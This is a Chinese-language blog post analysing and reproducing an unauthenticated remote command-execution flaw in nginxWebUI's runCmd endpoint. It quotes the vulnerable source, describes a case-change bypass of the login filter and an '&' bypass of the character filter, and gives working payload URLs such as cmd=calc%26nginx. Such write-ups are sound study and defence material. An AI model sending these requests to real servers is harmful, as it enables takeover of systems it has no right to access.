nginxWebUI runCmd未授权命令执行漏洞复现

nginxWebUI runCmd未授权命令执行漏洞复现

影响版本:

nginxWebUI < 3.5.2 未授权命令执行

3.5.2 < =nginxWebUI <= 3.6.0 后台命令执行

1.简介

nginxWebUI

项目地址:https://gitee.com/cym1102/nginxWebUI

nginxWebUI是一款图形化管理nginx配置得工具, 可以使用网页来快速配置nginx的各项功能, 包括http协议转发, tcp协议转发, 反向代理, 负载均衡, 静态html服务器, ssl证书自动申请、续签、配置等, 配置好后可一建生成nginx.conf文件, 同时可控制nginx使用此文件进行启动与重载, 完成对nginx的图形化控制闭环.

nginxWebUI也可管理多个nginx服务器集群, 随时一键切换到对应服务器上进行nginx配置, 也可以一键将某台服务器配置同步到其他服务器, 方便集群管理.

漏洞描述

nginxWebUI后台提供执行nginx相关命令的接口,由于未对用户的输入过滤不严谨,导致可在后台执行任意命令。最为致命的是,该系统filter权限校验存在绕过,最终导致了未授权命令执行漏洞.

2.漏洞分析

环境搭建不在叙述,直接在gitee上下载源码,然后导入到idea,一键启动即可

3.4.7 之前

首先看一下漏洞点,位于ConfController.java#runCmd方法中

访问路径/adminPage/conf/runCmd,会接收cmd参数,直接拼接到RuntimeUtil.exec()中,造成命令执行

@Controller
@Mapping("/adminPage/conf")
public class ConfController extends BaseController {
......
    @Mapping(value = "runCmd")
    public JsonResult runCmd(String cmd, String type) {
        if (StrUtil.isNotEmpty(type)) {
            settingService.set(type, cmd);
        }

        try {
            String rs = "";
            if (SystemTool.isWindows()) {
                RuntimeUtil.exec("cmd /c start " + cmd); //cmd参数可控,可拼接实现RCE
            } else {
                rs = RuntimeUtil.execForStr("/bin/sh", "-c", cmd);
            }

            cmd = "<span class='blue'>" + cmd + "</span>";
            if (StrUtil.isEmpty(rs) || rs.contains("已终止进程") //
                    || rs.contains("signal process started") //
                    || rs.toLowerCase().contains("terminated process") //
                    || rs.toLowerCase().contains("starting") //
                    || rs.toLowerCase().contains("stopping")) {
                return renderSuccess(cmd + "<br>" + m.get("confStr.runSuccess") + "<br>" + rs.replace("\n", "<br>"));
            } else {
                return renderSuccess(cmd + "<br>" + m.get("confStr.runFail") + "<br>" + rs.replace("\n", "<br>"));
            }
        } catch (Exception e) {
            logger.error(e.getMessage(), e);
            return renderSuccess(m.get("confStr.runFail") + "<br>" + e.getMessage().replace("\n", "<br>"));
        }
    }

此时漏洞的触发条件需要登录到后台,危害并不大,我们现在来看一下它的权限校验代码,位于AppFilter中,可以看到其使用了Solon框架进行开发,Solon 路由器对 url 的匹配默认是 “忽略大小写” 的

image-20230701215458879

看一下doFilter函数,只看登录过滤器,如果请求路径中包含"/adminPage/"而不存在"/lib/"、"/doc/"、"/js/"、"/img/"或者"/css/",则会调用adminInterceptor()函数进行权限验证 ,那我们之前也知道,Solon 路由器对 url 的匹配默认是 “忽略大小写” 的,那么就可以用大小写来绕过权限验证,进而扩大漏洞危害,造成未授权RCE

Payload:http://localhost:8080/AdminPage/conf/runCmd?cmd=whoami

@Override
    public void doFilter(Context ctx, FilterChain chain) throws Throwable {
        // 全局过滤器
        if (!ctx.path().contains("/lib/") //
                && !ctx.path().contains("/js/") //
                && !ctx.path().contains("/doc/") //
                && !ctx.path().contains("/img/") //
                && !ctx.path().contains("/css/")) {
            frontInterceptor(ctx);
        }

        // 登录过滤器
        if (ctx.path().contains("/adminPage/") //
                && !ctx.path().contains("/lib/") //
                && !ctx.path().contains("/doc/") //
                && !ctx.path().contains("/js/") //
                && !ctx.path().contains("/img/") //
                && !ctx.path().contains("/css/")) {
            if (!adminInterceptor(ctx)) {
                // 设置为已处理
                ctx.setHandled(true);
                return;
            }
        }

        // api过滤器
        if (ctx.path().contains("/api/") //
                && !ctx.path().contains("/lib/") //
                && !ctx.path().contains("/doc/") //
                && !ctx.path().contains("/js/") //
                && !ctx.path().contains("/img/") //
                && !ctx.path().contains("/css/")) {
            if (!apiInterceptor(ctx)) {
                // 设置为已处理
                ctx.setHandled(true);
                return;
            }
        }

        chain.doFilter(ctx);

    }

3.4.7 - 3.5.2

而在3.4.7版本,官方进行了简单的过滤,不过并未完全修复,我们简单看一下源码做了那些修改

首先看一下ConfController#runCmd方法,可以看到其对cmd参数中的"; "、"`"、 "\|"、 "\{"、 "\}"进行了过滤,并且cmd参数中必须存在存在"nginx",显然其过滤的不够彻底,我们可使用 & 绕过,而filter中并未做出修复,所以依旧存在未授权RCE

Payload:http://localhost:8080/AdminPage/conf/runCmd?cmd=calc%26nginx

@Controller
@Mapping("/adminPage/conf")
public class ConfController extends BaseController {
......
@Mapping(value = "runCmd")
    public JsonResult runCmd(String cmd, String type) {
        if (StrUtil.isNotEmpty(type)) {
            settingService.set(type, cmd);
        }

        try {
            String rs = "";
            // 过滤特殊字符,防止命令拼接
            cmd = cmd.replaceAll(";","\\\\;");
            cmd = cmd.replaceAll("`","\\\\`");
            cmd = cmd.replaceAll("\\|","\\\\|");
            cmd = cmd.replaceAll("\\{","\\\\{");
            cmd = cmd.replaceAll("\\}","\\\\}");
            //仅执行nginx相关的命令,而不是其他的恶意命令
            if(!cmd.contains("nginx")){
                cmd = "nginx restart";
            }
            if (SystemTool.isWindows()) {
                RuntimeUtil.exec("cmd /c start " + cmd);
            } else {
                rs = RuntimeUtil.execForStr("/bin/sh", "-c", cmd);
            }
......
}

3.5.2 之后

在此次版本中,对filter权限控制进行了修复,通过diff信息可以看到,对大小写进行了过滤,成功修复了未授权访问的问题。

image-20230702154057960

3.漏洞复现

思考:如果服务器是windows搭建的且不出网,该如何回显数据呢?

3.4.7 之前

Payload:http://localhost:8080/AdminPage/conf/runCmd?cmd=calc

image-20230701225316801

3.4.7 - 3.5.2

Payload:http://localhost:8080/AdminPage/conf/runCmd?cmd=calc%26nginx

image-20230702132041825

4.修复建议

更新至3.6.0以上的版本

Reference

https://gitee.com/cym1102/nginxWebUI

https://solon.noear.org/article/504

https://mp.weixin.qq.com/s/pjc0qykPQjr3CkBOZXJ_rA

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇